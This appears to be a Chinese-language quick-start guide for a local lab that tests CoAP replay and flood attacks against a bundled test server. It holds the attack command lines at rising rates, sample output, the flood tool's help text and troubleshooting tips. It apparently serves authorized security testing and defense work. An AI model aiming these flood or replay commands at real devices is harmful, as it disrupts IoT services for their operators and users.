本指南将帮助你快速设置和运行 CoAP 攻击测试脚本。
# 使用 uv 安装 aiocoap(推荐,适用于 Windows)
uv pip install aiocoap
# 或使用 pip
pip install aiocoap在第一个终端窗口中启动测试服务器:
python test_server.py你应该看到类似以下的输出:
============================================================
CoAP 测试服务器启动
============================================================
监听地址: localhost:5683
可用资源:
- coap://localhost:5683/sensor (GET, POST)
- coap://localhost:5683/data (GET, POST, PUT, DELETE)
- coap://localhost:5683/stats (GET - 查看统计)
============================================================
按 Ctrl+C 停止服务器
在第二个终端窗口中,使用 aiocoap 客户端测试连接:
# 测试 sensor 资源
python -m aiocoap.cli.client coap://localhost/sensor
# 查看统计信息
python -m aiocoap.cli.client coap://localhost/stats在第二个终端窗口中运行:
# 基础重放攻击(10秒,5请求/秒)
python coap_replay_attack.py coap://localhost/sensor --duration 10 --rate 5预期输出:
============================================================
CoAP 重放攻击开始
============================================================
目标: coap://localhost/sensor
方法: GET
持续时间: 10 秒
速率: 5 请求/秒
============================================================
正在捕获原始请求: coap://localhost/sensor
✓ 成功捕获请求 - 响应码: 2.05 Content
Token: 1a2b3c4d
Payload: {"temperature": 22.5, "humidity": 60, "timestamp...
开始重放攻击,持续 10 秒...
已发送 10 个重放请求 (成功: 10, 失败: 0)
已发送 20 个重放请求 (成功: 20, 失败: 0)
...
同时观察服务器终端,你会看到请求统计:
📊 统计: 25 请求/5秒, 总计: 51
# 基础泛洪攻击(10秒,20请求/秒)
python coap_flood_attack.py coap://localhost/sensor --duration 10 --rate 20预期输出:
============================================================
CoAP 泛洪攻击开始
============================================================
目标: coap://localhost/sensor
方法: GET
持续时间: 10 秒
速率: 20 请求/秒
最大并发: 10
随机负载: 否
============================================================
开始泛洪攻击,持续 10 秒...
进度: 50 请求 (成功: 50, 失败: 0)
进度: 100 请求 (成功: 100, 失败: 0)
进度: 150 请求 (成功: 150, 失败: 0)
进度: 200 请求 (成功: 200, 失败: 0)
...
场景 1: 高速率重放攻击
python coap_replay_attack.py coap://localhost/sensor -d 30 -r 50场景 2: POST 方法泛洪攻击
python coap_flood_attack.py coap://localhost/data -m POST -d 20 -r 30 --random-payload --payload-size 200场景 3: 高并发泛洪攻击
python coap_flood_attack.py coap://localhost/sensor -d 60 -r 100 -c 30攻击完成后,查看服务器统计信息:
python -m aiocoap.cli.client coap://localhost/stats示例输出:
{
"total_requests": 1523,
"uptime_seconds": 125.45,
"requests_per_second": 12.14,
"methods": {
"GET": 1200,
"POST": 323
},
"paths": {
"/sensor": 1200,
"/data": 323
}
}- 在攻击脚本终端按
Ctrl+C停止攻击 - 在服务器终端按
Ctrl+C停止服务器
服务器会显示最终统计:
============================================================
最终统计
============================================================
总请求数: 1523
运行时间: 125.45 秒
平均速率: 12.14 请求/秒
方法分布: {'GET': 1200, 'POST': 323}
路径分布: {'/sensor': 1200, '/data': 323}
============================================================
逐步增加攻击强度,观察服务器性能:
# 低强度
python coap_flood_attack.py coap://localhost/sensor -d 30 -r 10
# 中强度
python coap_flood_attack.py coap://localhost/sensor -d 30 -r 50
# 高强度
python coap_flood_attack.py coap://localhost/sensor -d 30 -r 100观察服务器是否能检测到重复的 token:
# 运行重放攻击
python coap_replay_attack.py coap://localhost/sensor -d 20 -r 10
# 检查服务器日志,看是否有重复请求同时运行多个攻击脚本(在不同终端):
# 终端 2
python coap_replay_attack.py coap://localhost/sensor -d 60 -r 20
# 终端 3
python coap_flood_attack.py coap://localhost/data -m POST -d 60 -r 30在测试期间,可以使用以下工具监控系统性能:
Windows:
# 任务管理器
taskmgr
# 或使用 PowerShell
Get-Process python | Select-Object CPU, WorkingSetLinux/Mac:
# 监控 CPU 和内存
top -p $(pgrep -f python)
# 或使用 htop
htop python coap_flood_attack.py --help
usage: coap_flood_attack.py [-h] [-m {GET,POST,PUT,DELETE}] [-d DURATION] [-r RATE] [-c CONCURRENT] [--random-payload] [--payload-size PAYLOAD_SIZE] target
CoAP泛洪攻击工具 - 向目标发送大量CoAP请求
positional arguments:
target 目标CoAP URI (例如: coap://localhost/sensor)
options:
-h, --help show this help message and exit
-m {GET,POST,PUT,DELETE}, --method {GET,POST,PUT,DELETE}
CoAP方法 (默认: GET)
-d DURATION, --duration DURATION
攻击持续时间(秒) (默认: 30, 最大: 300)
-r RATE, --rate RATE 每秒请求数 (默认: 20, 最大: 200)
-c CONCURRENT, --concurrent CONCURRENT
最大并发请求数 (默认: 10, 最大: 50)
--random-payload 使用随机生成的负载
--payload-size PAYLOAD_SIZE
负载大小(字节) (默认: 100, 最大: 1024)
示例:
# 基本泛洪攻击
python coap_flood_attack.py coap://localhost/sensor
# 高速率攻击,持续60秒
python coap_flood_attack.py coap://localhost/sensor -d 60 -r 50
# 使用随机负载的POST攻击
python coap_flood_attack.py coap://localhost/data -m POST --random-payload --payload-size 500Q: 攻击脚本报错 "Connection refused"
- A: 确保测试服务器正在运行
- A: 检查端口 5683 是否被占用
Q: 成功率很低(<50%)
- A: 降低请求速率 (
-r参数) - A: 减少并发数 (
-c参数) - A: 检查系统资源是否充足
Q: 服务器无响应
- A: 攻击强度可能过高,重启服务器
- A: 降低攻击参数重新测试
Q: Windows 防火墙阻止连接
- A: 允许 Python 通过防火墙
- A: 或临时禁用防火墙进行测试
- 阅读 ATTACK_SCRIPTS_README.md 了解详细参数
- 修改脚本以适应你的测试需求
- 实现防御机制并测试其有效性
再次强调:这些工具仅用于授权的安全测试。未经授权的攻击是违法的!